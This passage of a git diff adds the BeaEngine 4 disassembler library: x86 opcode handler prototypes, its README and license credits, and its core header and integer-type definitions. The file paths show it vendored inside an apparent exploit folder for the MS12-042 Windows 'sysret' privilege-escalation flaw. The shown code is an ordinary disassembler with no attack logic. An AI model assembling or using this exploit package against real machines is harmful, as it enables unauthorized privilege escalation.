stc_(PDISASM); +void __bea_callspec__ sti_(PDISASM); +void __bea_callspec__ stos_(PDISASM); +void __bea_callspec__ stosw_(PDISASM); +void __bea_callspec__ syscall_(PDISASM); +void __bea_callspec__ sysret_(PDISASM); +void __bea_callspec__ sbb_EbGb(PDISASM); +void __bea_callspec__ sbb_EvGv(PDISASM); +void __bea_callspec__ sbb_GbEb(PDISASM); +void __bea_callspec__ sbb_GvEv(PDISASM); +void __bea_callspec__ sbb_ALIb(PDISASM); +void __bea_callspec__ sbb_eAX_Iv(PDISASM); +void __bea_callspec__ seto_(PDISASM); +void __bea_callspec__ setno_(PDISASM); +void __bea_callspec__ setb_(PDISASM); +void __bea_callspec__ setnb_(PDISASM); +void __bea_callspec__ sete_(PDISASM); +void __bea_callspec__ setne_(PDISASM); +void __bea_callspec__ setbe_(PDISASM); +void __bea_callspec__ setnbe_(PDISASM); +void __bea_callspec__ sets_(PDISASM); +void __bea_callspec__ setns_(PDISASM); +void __bea_callspec__ setp_(PDISASM); +void __bea_callspec__ setnp_(PDISASM); +void __bea_callspec__ setnge_(PDISASM); +void __bea_callspec__ setge_(PDISASM); +void __bea_callspec__ setle_(PDISASM); +void __bea_callspec__ setnle_(PDISASM); +void __bea_callspec__ shld_EvGvIb(PDISASM); +void __bea_callspec__ shld_EvGvCL(PDISASM); +void __bea_callspec__ shrd_EvGvIb(PDISASM); +void __bea_callspec__ shrd_EvGvCL(PDISASM); +void __bea_callspec__ std_(PDISASM); +void __bea_callspec__ sub_ALIb(PDISASM); +void __bea_callspec__ sub_eAX_Iv(PDISASM); +void __bea_callspec__ sub_EbGb(PDISASM); +void __bea_callspec__ sub_EvGv(PDISASM); +void __bea_callspec__ sub_GbEb(PDISASM); +void __bea_callspec__ sub_GvEv(PDISASM); +void __bea_callspec__ test_ALIb(PDISASM); +void __bea_callspec__ test_eAX_Iv(PDISASM); +void __bea_callspec__ test_EbGb(PDISASM); +void __bea_callspec__ test_EvGv(PDISASM); +void __bea_callspec__ test_GbEb(PDISASM); +void __bea_callspec__ test_GvEv(PDISASM); +void __bea_callspec__ ud2_(PDISASM); +void __bea_callspec__ vmread_(PDISASM); +void __bea_callspec__ vmwrite_(PDISASM); +void __bea_callspec__ wbinvd_(PDISASM); +void __bea_callspec__ wait_(PDISASM); +void __bea_callspec__ wrmsr_(PDISASM); +void __bea_callspec__ xadd_EbGb(PDISASM); +void __bea_callspec__ xadd_EvGv(PDISASM); +void __bea_callspec__ xchg_EbGb(PDISASM); +void __bea_callspec__ xchg_ebp(PDISASM); +void __bea_callspec__ xchg_ebx(PDISASM); +void __bea_callspec__ xchg_ecx(PDISASM); +void __bea_callspec__ xchg_edi(PDISASM); +void __bea_callspec__ xchg_edx(PDISASM); +void __bea_callspec__ xchg_esi(PDISASM); +void __bea_callspec__ xchg_esp(PDISASM); +void __bea_callspec__ xchg_EvGv(PDISASM); +void __bea_callspec__ xlat_(PDISASM); +void __bea_callspec__ xor_ALIb(PDISASM); +void __bea_callspec__ xor_eAX_Iv(PDISASM); +void __bea_callspec__ xor_EbGb(PDISASM); +void __bea_callspec__ xor_EvGv(PDISASM); +void __bea_callspec__ xor_GbEb(PDISASM); +void __bea_callspec__ xor_GvEv(PDISASM); + +/* ====================================== opcodes_Grp1 */ +void __bea_callspec__ G1_EbIb(PDISASM); +void __bea_callspec__ G1_EbIb2(PDISASM); +void __bea_callspec__ G1_EvIv(PDISASM); +void __bea_callspec__ G1_EvIb(PDISASM); + +/* ====================================== opcodes_Grp2 */ +void __bea_callspec__ G2_EbIb(PDISASM); +void __bea_callspec__ G2_EvIb(PDISASM); +void __bea_callspec__ G2_Ev1(PDISASM); +void __bea_callspec__ G2_Eb1(PDISASM); +void __bea_callspec__ G2_EbCL(PDISASM); +void __bea_callspec__ G2_EvCL(PDISASM); + +/* ====================================== opcodes_Grp3 */ +void __bea_callspec__ G3_Eb(PDISASM); +void __bea_callspec__ G3_Ev(PDISASM); + +/* ====================================== opcodes_Grp4 */ +void __bea_callspec__ G4_Eb(PDISASM); + +/* ====================================== opcodes_Grp5 */ +void __bea_callspec__ G5_Ev(PDISASM); + +/* ====================================== opcodes_Grp6 */ +void __bea_callspec__ G6_(PDISASM); + +/* ====================================== opcodes_Grp7 */ +void __bea_callspec__ G7_(PDISASM); + +/* ====================================== opcodes_Grp8 */ +void __bea_callspec__ G8_EvIb(PDISASM); + +/* ====================================== opcodes_Grp9 */ +void __bea_callspec__ G9_(PDISASM); + +/* ====================================== opcodes_Grp12 */ +void __bea_callspec__ G12_(PDISASM); + +/* ====================================== opcodes_Grp13 */ +void __bea_callspec__ G13_(PDISASM); + +/* ====================================== opcodes_Grp14 */ +void __bea_callspec__ G14_(PDISASM); + +/* ====================================== opcodes_Grp15 */ +void __bea_callspec__ G15_(PDISASM); + +/* ====================================== opcodes_Grp16 */ +void __bea_callspec__ G16_(PDISASM); + +/* ====================================== opcodes_FPU */ +void __bea_callspec__ D8_(PDISASM); +void __bea_callspec__ D9_(PDISASM); +void __bea_callspec__ DA_(PDISASM); +void __bea_callspec__ DB_(PDISASM); +void __bea_callspec__ DC_(PDISASM); +void __bea_callspec__ DD_(PDISASM); +void __bea_callspec__ DE_(PDISASM); +void __bea_callspec__ DF_(PDISASM); + +/* ====================================== opcodes_MMX */ +void __bea_callspec__ emms_(PDISASM); +void __bea_callspec__ movd_EP(PDISASM); +void __bea_callspec__ movd_PE(PDISASM); +void __bea_callspec__ movq_PQ(PDISASM); +void __bea_callspec__ movq_QP(PDISASM); +void __bea_callspec__ movq_WV(PDISASM); +void __bea_callspec__ pabsb_(PDISASM); +void __bea_callspec__ pabsd_(PDISASM); +void __bea_callspec__ pabsw_(PDISASM); +void __bea_callspec__ packssdw_(PDISASM); +void __bea_callspec__ packsswb_(PDISASM); +void __bea_callspec__ packuswb_(PDISASM); +void __bea_callspec__ paddb_(PDISASM); +void __bea_callspec__ paddd_(PDISASM); +void __bea_callspec__ paddsb_(PDISASM); +void __bea_callspec__ paddsw_(PDISASM); +void __bea_callspec__ paddusb_(PDISASM); +void __bea_callspec__ paddusw_(PDISASM); +void __bea_callspec__ paddw_(PDISASM); +void __bea_callspec__ pandn_(PDISASM); +void __bea_callspec__ pand_(PDISASM); +void __bea_callspec__ pcmpeqb_(PDISASM); +void __bea_callspec__ pcmpeqd_(PDISASM); +void __bea_callspec__ pcmpeqw_(PDISASM); +void __bea_callspec__ pcmpgtb_(PDISASM); +void __bea_callspec__ pcmpgtd_(PDISASM); +void __bea_callspec__ pcmpgtw_(PDISASM); +void __bea_callspec__ pmulhw_(PDISASM); +void __bea_callspec__ pmullw_(PDISASM); +void __bea_callspec__ pmaddwd_(PDISASM); +void __bea_callspec__ por_(PDISASM); +void __bea_callspec__ pslld_(PDISASM); +void __bea_callspec__ psllq_(PDISASM); +void __bea_callspec__ psllw_(PDISASM); +void __bea_callspec__ psrld_(PDISASM); +void __bea_callspec__ psrlq_(PDISASM); +void __bea_callspec__ psrlw_(PDISASM); +void __bea_callspec__ psrad_(PDISASM); +void __bea_callspec__ psraw_(PDISASM); +void __bea_callspec__ psubb_(PDISASM); +void __bea_callspec__ psubd_(PDISASM); +void __bea_callspec__ psubsb_(PDISASM); +void __bea_callspec__ psubsw_(PDISASM); +void __bea_callspec__ psubusb_(PDISASM); +void __bea_callspec__ psubusw_(PDISASM); +void __bea_callspec__ psubw_(PDISASM); +void __bea_callspec__ punpckhbw_(PDISASM); +void __bea_callspec__ punpckhdq_(PDISASM); +void __bea_callspec__ punpckhwd_(PDISASM); +void __bea_callspec__ punpcklbw_(PDISASM); +void __bea_callspec__ punpckldq_(PDISASM); +void __bea_callspec__ punpcklwd_(PDISASM); +void __bea_callspec__ pxor_(PDISASM); + +/* ====================================== opcodes_SSE */ +void __bea_callspec__ addps_VW(PDISASM); +void __bea_callspec__ addsubpd_(PDISASM); +void __bea_callspec__ andnps_VW(PDISASM); +void __bea_callspec__ andps_VW(PDISASM); +void __bea_callspec__ blendpd_(PDISASM); +void __bea_callspec__ blendps_(PDISASM); +void __bea_callspec__ blendvpd_(PDISASM); +void __bea_callspec__ blendvps_(PDISASM); +void __bea_callspec__ cmpps_VW(PDISASM); +void __bea_callspec__ crc32_GvEb(PDISASM); +void __bea_callspec__ crc32_GvEv(PDISASM); +void __bea_callspec__ comiss_VW(PDISASM); +void __bea_callspec__ cvtdq2ps_(PDISASM); +void __bea_callspec__ cvtpd2dq_(PDISASM); +void __bea_callspec__ cvtpi2ps_(PDISASM); +void __bea_callspec__ cvtps2pd_(PDISASM); +void __bea_callspec__ cvtps2pi_(PDISASM); +void __bea_callspec__ cvttps2pi_(PDISASM); +void __bea_callspec__ dppd_(PDISASM); +void __bea_callspec__ dpps_(PDISASM); +void __bea_callspec__ divps_VW(PDISASM); +void __bea_callspec__ extractps_(PDISASM); +void __bea_callspec__ haddpd_VW(PDISASM); +void __bea_callspec__ hsubpd_VW(PDISASM); +void __bea_callspec__ insertps_(PDISASM); +void __bea_callspec__ lddqu_(PDISASM); +void __bea_callspec__ maskmovq_(PDISASM); +void __bea_callspec__ maxps_VW(PDISASM); +void __bea_callspec__ minps_VW(PDISASM); +void __bea_callspec__ movaps_VW(PDISASM); +void __bea_callspec__ movaps_WV(PDISASM); +void __bea_callspec__ movhps_MV(PDISASM); +void __bea_callspec__ movhps_VM(PDISASM); +void __bea_callspec__ movlps_MV(PDISASM); +void __bea_callspec__ movlps_VM(PDISASM); +void __bea_callspec__ movmskps_(PDISASM); +void __bea_callspec__ movntdqa_(PDISASM); +void __bea_callspec__ movnti_(PDISASM); +void __bea_callspec__ movntps_(PDISASM); +void __bea_callspec__ movntq_(PDISASM); +void __bea_callspec__ movups_VW(PDISASM); +void __bea_callspec__ movups_WV(PDISASM); +void __bea_callspec__ mpsadbw_(PDISASM); +void __bea_callspec__ mulps_VW(PDISASM); +void __bea_callspec__ orps_VW(PDISASM); +void __bea_callspec__ packusdw_(PDISASM); +void __bea_callspec__ paddq_(PDISASM); +void __bea_callspec__ pavgb_(PDISASM); +void __bea_callspec__ pavgw_(PDISASM); +void __bea_callspec__ palignr_(PDISASM); +void __bea_callspec__ pblendvb_(PDISASM); +void __bea_callspec__ pblendw_(PDISASM); +void __bea_callspec__ pcmpeqq_(PDISASM); +void __bea_callspec__ pcmpestri_(PDISASM); +void __bea_callspec__ pcmpestrm_(PDISASM); +void __bea_callspec__ pcmpgtq_(PDISASM); +void __bea_callspec__ pcmpistri_(PDISASM); +void __bea_callspec__ pcmpistrm_(PDISASM); +void __bea_callspec__ pextrb_(PDISASM); +void __bea_callspec__ pextrd_(PDISASM); +void __bea_callspec__ pextrw2_(PDISASM); +void __bea_callspec__ pextrw_(PDISASM); +void __bea_callspec__ phaddd_(PDISASM); +void __bea_callspec__ phaddsw_(PDISASM); +void __bea_callspec__ phaddw_(PDISASM); +void __bea_callspec__ phminposuw_(PDISASM); +void __bea_callspec__ phsubd_(PDISASM); +void __bea_callspec__ phsubsw_(PDISASM); +void __bea_callspec__ phsubw_(PDISASM); +void __bea_callspec__ pinsrb_(PDISASM); +void __bea_callspec__ pinsrd_(PDISASM); +void __bea_callspec__ pinsrw_(PDISASM); +void __bea_callspec__ pmaxsb_(PDISASM); +void __bea_callspec__ pmaxsd_(PDISASM); +void __bea_callspec__ pmaxsw_(PDISASM); +void __bea_callspec__ pmaxub_(PDISASM); +void __bea_callspec__ pmaxud_(PDISASM); +void __bea_callspec__ pmaxuw_(PDISASM); +void __bea_callspec__ pminsb_(PDISASM); +void __bea_callspec__ pminsd_(PDISASM); +void __bea_callspec__ pminsw_(PDISASM); +void __bea_callspec__ pminub_(PDISASM); +void __bea_callspec__ pminud_(PDISASM); +void __bea_callspec__ pminuw_(PDISASM); +void __bea_callspec__ pmaddubsw_(PDISASM); +void __bea_callspec__ pmovmskb_(PDISASM); +void __bea_callspec__ pmovsxbd_(PDISASM); +void __bea_callspec__ pmovsxbq_(PDISASM); +void __bea_callspec__ pmovsxbw_(PDISASM); +void __bea_callspec__ pmovsxdq_(PDISASM); +void __bea_callspec__ pmovsxwd_(PDISASM); +void __bea_callspec__ pmovsxwq_(PDISASM); +void __bea_callspec__ pmovzxbd_(PDISASM); +void __bea_callspec__ pmovzxbq_(PDISASM); +void __bea_callspec__ pmovzxbw_(PDISASM); +void __bea_callspec__ pmovzxdq_(PDISASM); +void __bea_callspec__ pmovzxwd_(PDISASM); +void __bea_callspec__ pmovzxwq_(PDISASM); +void __bea_callspec__ pmuldq_(PDISASM); +void __bea_callspec__ pmulhrsw_(PDISASM); +void __bea_callspec__ pmulhuw_(PDISASM); +void __bea_callspec__ pmulhw_(PDISASM); +void __bea_callspec__ pmulld_(PDISASM); +void __bea_callspec__ pmullw_(PDISASM); +void __bea_callspec__ pmuludq_(PDISASM); +void __bea_callspec__ popcnt_(PDISASM); +void __bea_callspec__ psadbw_(PDISASM); +void __bea_callspec__ pshufb_(PDISASM); +void __bea_callspec__ pshufw_(PDISASM); +void __bea_callspec__ psignb_(PDISASM); +void __bea_callspec__ psignd_(PDISASM); +void __bea_callspec__ psignw_(PDISASM); +void __bea_callspec__ psubq_(PDISASM); +void __bea_callspec__ ptest_(PDISASM); +void __bea_callspec__ punpcklqdq_(PDISASM); +void __bea_callspec__ punpckhqdq_(PDISASM); +void __bea_callspec__ rcpps_(PDISASM); +void __bea_callspec__ roundpd_(PDISASM); +void __bea_callspec__ roundps_(PDISASM); +void __bea_callspec__ roundsd_(PDISASM); +void __bea_callspec__ roundss_(PDISASM); +void __bea_callspec__ rsqrtps_(PDISASM); +void __bea_callspec__ shufps_(PDISASM); +void __bea_callspec__ sqrtps_VW(PDISASM); +void __bea_callspec__ subps_VW(PDISASM); +void __bea_callspec__ ucomiss_VW(PDISASM); +void __bea_callspec__ unpckhps_(PDISASM); +void __bea_callspec__ unpcklps_(PDISASM); +void __bea_callspec__ xorps_VW(PDISASM); + +/* ====================================== opcodes_AES */ +void __bea_callspec__ aesimc(PDISASM); +void __bea_callspec__ aesdec(PDISASM); +void __bea_callspec__ aesdeclast(PDISASM); +void __bea_callspec__ aesenc(PDISASM); +void __bea_callspec__ aesenclast(PDISASM); +void __bea_callspec__ aeskeygen(PDISASM); + +/* ====================================== opcodes_CLMUL */ +void __bea_callspec__ pclmulqdq_(PDISASM); diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/README.txt b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/README.txt new file mode 100644 index 0000000..64c3a08 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/README.txt @@ -0,0 +1,30 @@ +; ======================================== +; +; BeaEngine 4 +; +; ======================================== + +1) LICENSE +========== + +This software is distributed under the LGPL license. +See the COPYING and COPYING.LESSER files for more details. + + +2) ONLINE DOCUMENTATION +======================= + +For online documentation, visit : + + http://www.beaengine.org + + +3) AUTHOR, CONTRIBUTORS, BETA-TESTERS +========================================== + +BeatriX - Author (France) : beaengine (at) gmail.com +Igor Gutnik - Developer (ported the project on linux) + +Contributors : + + andrewl, bax, William Pomian, Ange Albertini, Pyrae, Vincent Roy, Kharneth, Eedy, Neitsa, KumaT, Rafal Cyran, 29a metal, sessiondiy, Tim, vince, Igor Gutnik, ouadji, Helle, Baboon, pop9080, ktion23. diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/include/beaengine/BeaEngine.h b/97-Windows提权/MS12-042/sysret-source/junk/sources/include/beaengine/BeaEngine.h new file mode 100644 index 0000000..0f0733d --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/include/beaengine/BeaEngine.h @@ -0,0 +1,361 @@ +#ifndef _BEA_ENGINE_ +#define _BEA_ENGINE_ +#if defined(__cplusplus) && defined(__BORLANDC__) +namespace BeaEngine { +#endif + +#include "macros.h" +#include "export.h" +#include "basic_types.h" + +#if !defined(BEA_ENGINE_STATIC) + #if defined(BUILD_BEA_ENGINE_DLL) + #define BEA_API bea__api_export__ + #else + #define BEA_API bea__api_import__ + #endif +#else + #define BEA_API +#endif + + +#define INSTRUCT_LENGTH 64 + +#pragma pack(1) +typedef struct { + UInt8 W_; + UInt8 R_; + UInt8 X_; + UInt8 B_; + UInt8 state; +} REX_Struct ; +#pragma pack() + +#pragma pack(1) +typedef struct { + int Number; + int NbUndefined; + UInt8 LockPrefix; + UInt8 OperandSize; + UInt8 AddressSize; + UInt8 RepnePrefix; + UInt8 RepPrefix; + UInt8 FSPrefix; + UInt8 SSPrefix; + UInt8 GSPrefix; + UInt8 ESPrefix; + UInt8 CSPrefix; + UInt8 DSPrefix; + UInt8 BranchTaken; + UInt8 BranchNotTaken; + REX_Struct REX; +} PREFIXINFO ; +#pragma pack() + +#pragma pack(1) +typedef struct { + UInt8 OF_; + UInt8 SF_; + UInt8 ZF_; + UInt8 AF_; + UInt8 PF_; + UInt8 CF_; + UInt8 TF_; + UInt8 IF_; + UInt8 DF_; + UInt8 NT_; + UInt8 RF_; + UInt8 alignment; +} EFLStruct ; +#pragma pack() + +#pragma pack(4) +typedef struct { + Int32 BaseRegister; + Int32 IndexRegister; + Int32 Scale; + Int64 Displacement; +} MEMORYTYPE ; +#pragma pack() + + +#pragma pack(1) +typedef struct { + Int32 Category; + Int32 Opcode; + char Mnemonic[16]; + Int32 BranchType; + EFLStruct Flags; + UInt64 AddrValue; + Int64 Immediat; + UInt32 ImplicitModifiedRegs; +} INSTRTYPE; +#pragma pack() + +#pragma pack(1) +typedef struct { + char ArgMnemonic[32]; + Int32 ArgType; + Int32 ArgSize; + Int32 ArgPosition; + UInt32 AccessMode; + MEMORYTYPE Memory; + UInt32 SegmentReg; +} ARGTYPE; +#pragma pack() + +/* reserved structure used for thread-safety */ +/* unusable by customer */ +#pragma pack(1) +typedef struct { + UIntPtr EIP_; + UInt64 EIP_VA; + UIntPtr EIP_REAL; + Int32 OriginalOperandSize; + Int32 OperandSize; + Int32 MemDecoration; + Int32 AddressSize; + Int32 MOD_; + Int32 RM_; + Int32 INDEX_; + Int32 SCALE_; + Int32 BASE_; + Int32 MMX_; + Int32 SSE_; + Int32 CR_; + Int32 DR_; + Int32 SEG_; + Int32 REGOPCODE; + UInt32 DECALAGE_EIP; + Int32 FORMATNUMBER; + Int32 SYNTAX_; + UInt64 EndOfBlock; + Int32 RelativeAddress; + UInt32 Architecture; + Int32 ImmediatSize; + Int32 NB_PREFIX; + Int32 PrefRepe; + Int32 PrefRepne; + UInt32 SEGMENTREGS; + UInt32 SEGMENTFS; + Int32 third_arg; + Int32 TAB_; + Int32 ERROR_OPCODE; + REX_Struct REX; + Int32 OutOfBlock; +} InternalDatas; +#pragma pack() + +/* ************** main structure ************ */ +#pragma pack(1) +typedef struct _Disasm { + UIntPtr EIP; + UInt64 VirtualAddr; + UInt32 SecurityBlock; + char CompleteInstr[INSTRUCT_LENGTH]; + UInt32 Archi; + UInt64 Options; + INSTRTYPE Instruction; + ARGTYPE Argument1; + ARGTYPE Argument2; + ARGTYPE Argument3; + PREFIXINFO Prefix; + InternalDatas Reserved_; +} DISASM, *PDISASM, *LPDISASM; +#pragma pack() + +#define ESReg 1 +#define DSReg 2 +#define FSReg 3 +#define GSReg 4 +#define CSReg 5 +#define SSReg 6 + +#define InvalidPrefix 4 +#define SuperfluousPrefix 2 +#define NotUsedPrefix 0 +#define MandatoryPrefix 8 +#define InUsePrefix 1 + +#define LowPosition 0 +#define HighPosition 1 + +enum INSTRUCTION_TYPE +{ + GENERAL_PURPOSE_INSTRUCTION = 0x10000, + FPU_INSTRUCTION = 0x20000, + MMX_INSTRUCTION = 0x40000, + SSE_INSTRUCTION = 0x80000, + SSE2_INSTRUCTION = 0x100000, + SSE3_INSTRUCTION = 0x200000, + SSSE3_INSTRUCTION = 0x400000, + SSE41_INSTRUCTION = 0x800000, + SSE42_INSTRUCTION = 0x1000000, + SYSTEM_INSTRUCTION = 0x2000000, + VM_INSTRUCTION = 0x4000000, + UNDOCUMENTED_INSTRUCTION = 0x8000000, + AMD_INSTRUCTION = 0x10000000, + ILLEGAL_INSTRUCTION = 0x20000000, + AES_INSTRUCTION = 0x40000000, + CLMUL_INSTRUCTION = (int)0x80000000, + + + DATA_TRANSFER = 0x1, + ARITHMETIC_INSTRUCTION, + LOGICAL_INSTRUCTION, + SHIFT_ROTATE, + BIT_UInt8, + CONTROL_TRANSFER, + STRING_INSTRUCTION, + InOutINSTRUCTION, + ENTER_LEAVE_INSTRUCTION, + FLAG_CONTROL_INSTRUCTION, + SEGMENT_REGISTER, + MISCELLANEOUS_INSTRUCTION, + COMPARISON_INSTRUCTION, + LOGARITHMIC_INSTRUCTION, + TRIGONOMETRIC_INSTRUCTION, + UNSUPPORTED_INSTRUCTION, + LOAD_CONSTANTS, + FPUCONTROL, + STATE_MANAGEMENT, + CONVERSION_INSTRUCTION, + SHUFFLE_UNPACK, + PACKED_SINGLE_PRECISION, + SIMD128bits, + SIMD64bits, + CACHEABILITY_CONTROL, + FP_INTEGER_CONVERSION, + SPECIALIZED_128bits, + SIMD_FP_PACKED, + SIMD_FP_HORIZONTAL , + AGENT_SYNCHRONISATION, + PACKED_ALIGN_RIGHT , + PACKED_SIGN, + PACKED_BLENDING_INSTRUCTION, + PACKED_TEST, + PACKED_MINMAX, + HORIZONTAL_SEARCH, + PACKED_EQUALITY, + STREAMING_LOAD, + INSERTION_EXTRACTION, + DOT_PRODUCT, + SAD_INSTRUCTION, + ACCELERATOR_INSTRUCTION, /* crc32, popcnt (sse4.2) */ + ROUND_INSTRUCTION + +}; + +enum EFLAGS_STATES +{ + TE_ = 1, + MO_ = 2, + RE_ = 4, + SE_ = 8, + UN_ = 0x10, + PR_ = 0x20 +}; + +enum BRANCH_TYPE +{ + JO = 1, + JC, + JE, + JA, + JS, + JP, + JL, + JG, + JB, + JECXZ, + JmpType, + CallType, + RetType, + JNO = -1, + JNC = -2, + JNE = -3, + JNA = -4, + JNS = -5, + JNP = -6, + JNL = -7, + JNG = -8, + JNB = -9 +}; + +enum ARGUMENTS_TYPE +{ + NO_ARGUMENT = 0x10000000, + REGISTER_TYPE = 0x20000000, + MEMORY_TYPE = 0x40000000, + CONSTANT_TYPE = (int)0x80000000, + + MMX_REG = 0x10000, + GENERAL_REG = 0x20000, + FPU_REG = 0x40000, + SSE_REG = 0x80000, + CR_REG = 0x100000, + DR_REG = 0x200000, + SPECIAL_REG = 0x400000, + MEMORY_MANAGEMENT_REG = 0x800000, + SEGMENT_REG = 0x1000000, + + RELATIVE_ = 0x4000000, + ABSOLUTE_ = 0x8000000, + + READ = 0x1, + WRITE = 0x2, + + REG0 = 0x1, + REG1 = 0x2, + REG2 = 0x4, + REG3 = 0x8, + REG4 = 0x10, + REG5 = 0x20, + REG6 = 0x40, + REG7 = 0x80, + REG8 = 0x100, + REG9 = 0x200, + REG10 = 0x400, + REG11 = 0x800, + REG12 = 0x1000, + REG13 = 0x2000, + REG14 = 0x4000, + REG15 = 0x8000 +}; + +enum SPECIAL_INFO +{ + UNKNOWN_OPCODE = -1, + OUT_OF_BLOCK = 0, + + /* === mask = 0xff */ + NoTabulation = 0x00000000, + Tabulation = 0x00000001, + + /* === mask = 0xff00 */ + MasmSyntax = 0x00000000, + GoAsmSyntax = 0x00000100, + NasmSyntax = 0x00000200, + ATSyntax = 0x00000400, + + /* === mask = 0xff0000 */ + PrefixedNumeral = 0x00010000, + SuffixedNumeral = 0x00000000, + + /* === mask = 0xff000000 */ + ShowSegmentRegs = 0x01000000 +}; + + +#ifdef __cplusplus +extern "C" +#endif + +BEA_API int __bea_callspec__ Disasm (LPDISASM pDisAsm); +BEA_API const__ char* __bea_callspec__ BeaEngineVersion (void); +BEA_API const__ char* __bea_callspec__ BeaEngineRevision (void); +#if defined(__cplusplus) && defined(__BORLANDC__) +}; +using namespace BeaEngine; +#endif +#endif diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/include/beaengine/basic_types.h b/97-Windows提权/MS12-042/sysret-source/junk/sources/include/beaengine/basic_types.h new file mode 100644 index 0000000..4d080df --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/include/beaengine/basic_types.h @@ -0,0 +1,272 @@ +/** + * @file basic_types.h + * @author + * @date Thu Dec 24 19:31:22 2009 + * + * @brief Definitions of fixed-size integer types for various platforms + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +#ifndef __BEA_BASIC_TYPES_HPP__ +#define __BEA_BASIC_TYPES_HPP__ + +#include + +#if defined(__GNUC__) || defined (__INTEL_COMPILER) || defined(__LCC__) || defined(__POCC__) +#include +#endif + +#if defined(_MSC_VER) && !defined(__BORLANDC__) + /* + * Windows/Visual C++ + */ + typedef signed char Int8; + typedef unsigned char UInt8; + typedef signed short Int16; + typedef unsigned short UInt16; + typedef signed int Int32; + typedef unsigned int UInt32; + typedef signed __int64 Int64; + typedef unsigned __int64 UInt64; + #if defined(_WIN64) + #define BEA_PTR_IS_64_BIT 1 + typedef signed __int64 IntPtr; + typedef unsigned __int64 UIntPtr; + #else + typedef signed long IntPtr; + typedef size_t UIntPtr; + #endif + #define BEA_HAVE_INT64 1 +#elif defined(__POCC__) + /* + * PellesC + */ + typedef signed char Int8; + typedef unsigned char UInt8; + typedef signed short Int16; + typedef unsigned short UInt16; + typedef signed int Int32; + typedef unsigned int UInt32; + typedef signed long long Int64; + typedef unsigned long long UInt64; + #if defined(_WIN64) + #define BEA_PTR_IS_64_BIT 1 + typedef signed long long IntPtr; + typedef unsigned long long UIntPtr; + #else + typedef signed long IntPtr; + typedef size_t UIntPtr; + #endif + #define BEA_HAVE_INT64 1 +#elif defined(__GNUC__) || defined(__LCC__) + /* + * Unix/GCC + */ + typedef signed char Int8; + typedef unsigned char UInt8; + typedef signed short Int16; + typedef unsigned short UInt16; + typedef signed int Int32; + typedef unsigned int UInt32; + typedef intptr_t IntPtr; + typedef uintptr_t UIntPtr; + #if defined(__LP64__) + #define BEA_PTR_IS_64_BIT 1 + #define BEA_LONG_IS_64_BIT 1 + typedef signed long Int64; + typedef unsigned long UInt64; + #else + #if defined (__INTEL_COMPILER) || defined (__ICC) || defined (_ICC) + typedef __int64 Int64; + typedef unsigned __int64 UInt64; + #else + typedef signed long long Int64; + typedef unsigned long long UInt64; + #endif + #endif + #define BEA_HAVE_INT64 1 +#elif defined(__DECCXX) + /* + * Compaq C++ + */ + typedef signed char Int8; + typedef unsigned char UInt8; + typedef signed short Int16; + typedef unsigned short UInt16; + typedef signed int Int32; + typedef unsigned int UInt32; + typedef signed __int64 Int64; + typedef unsigned __int64 UInt64; + #if defined(__VMS) + #if defined(__32BITS) + typedef signed long IntPtr; + typedef unsigned long UIntPtr; + #else + typedef Int64 IntPtr; + typedef UInt64 UIntPtr; + #define BEA_PTR_IS_64_BIT 1 + #endif + #else + typedef signed long IntPtr; + typedef unsigned long UIntPtr; + #define BEA_PTR_IS_64_BIT 1 + #define BEA_LONG_IS_64_BIT 1 + #endif + #define BEA_HAVE_INT64 1 +#elif defined(__HP_aCC) + /* + * HP Ansi C++ + */ + typedef signed char Int8; + typedef unsigned char UInt8; + typedef signed short Int16; + typedef unsigned short UInt16; + typedef signed int Int32; + typedef unsigned int UInt32; + typedef signed long IntPtr; + typedef unsigned long UIntPtr; + #if defined(__LP64__) + #define BEA_PTR_IS_64_BIT 1 + #define BEA_LONG_IS_64_BIT 1 + typedef signed long Int64; + typedef unsigned long UInt64; + #else + typedef signed long long Int64; + typedef unsigned long long UInt64; + #endif + #define BEA_HAVE_INT64 1 +#elif defined(__SUNPRO_CC) || defined(__SUNPRO_C) + /* + * SUN Forte C++ + */ + typedef signed char Int8; + typedef unsigned char UInt8; + typedef signed short Int16; + typedef unsigned short UInt16; + typedef signed int Int32; + typedef unsigned int UInt32; + typedef signed long IntPtr; + typedef unsigned long UIntPtr; + #if defined(__sparcv9) + #define BEA_PTR_IS_64_BIT 1 + #define BEA_LONG_IS_64_BIT 1 + typedef signed long Int64; + typedef unsigned long UInt64; + #else + typedef signed long long Int64; + typedef unsigned long long UInt64; + #endif + #define BEA_HAVE_INT64 1 +#elif defined(__IBMCPP__) + /* + * IBM XL C++ + */ + typedef signed char Int8; + typedef unsigned char UInt8; + typedef signed short Int16; + typedef unsigned short UInt16; + typedef signed int Int32; + typedef unsigned int UInt32; + typedef signed long IntPtr; + typedef unsigned long UIntPtr; + #if defined(__64BIT__) + #define BEA_PTR_IS_64_BIT 1 + #define BEA_LONG_IS_64_BIT 1 + typedef signed long Int64; + typedef unsigned long UInt64; + #else + typedef signed long long Int64; + typedef unsigned long long UInt64; + #endif + #define BEA_HAVE_INT64 1 +#elif defined(__BORLANDC__) + /* + * Borland C/C++ + */ + typedef signed char Int8; + typedef unsigned char UInt8; + typedef signed short Int16; + typedef unsigned short UInt16; + typedef signed int Int32; + typedef unsigned int UInt32; + typedef unsigned __int64 Int64; + typedef signed __int64 UInt64; + typedef signed long IntPtr; + typedef unsigned long UIntPtr; + #define BEA_HAVE_INT64 1 +#elif defined(__WATCOMC__) + /* + * Watcom C/C++ + */ + typedef signed char Int8; + typedef unsigned char UInt8; + typedef signed short Int16; + typedef unsigned short UInt16; + typedef signed int Int32; + typedef unsigned int UInt32; + typedef unsigned __int64 Int64; + typedef signed __int64 UInt64; + #define 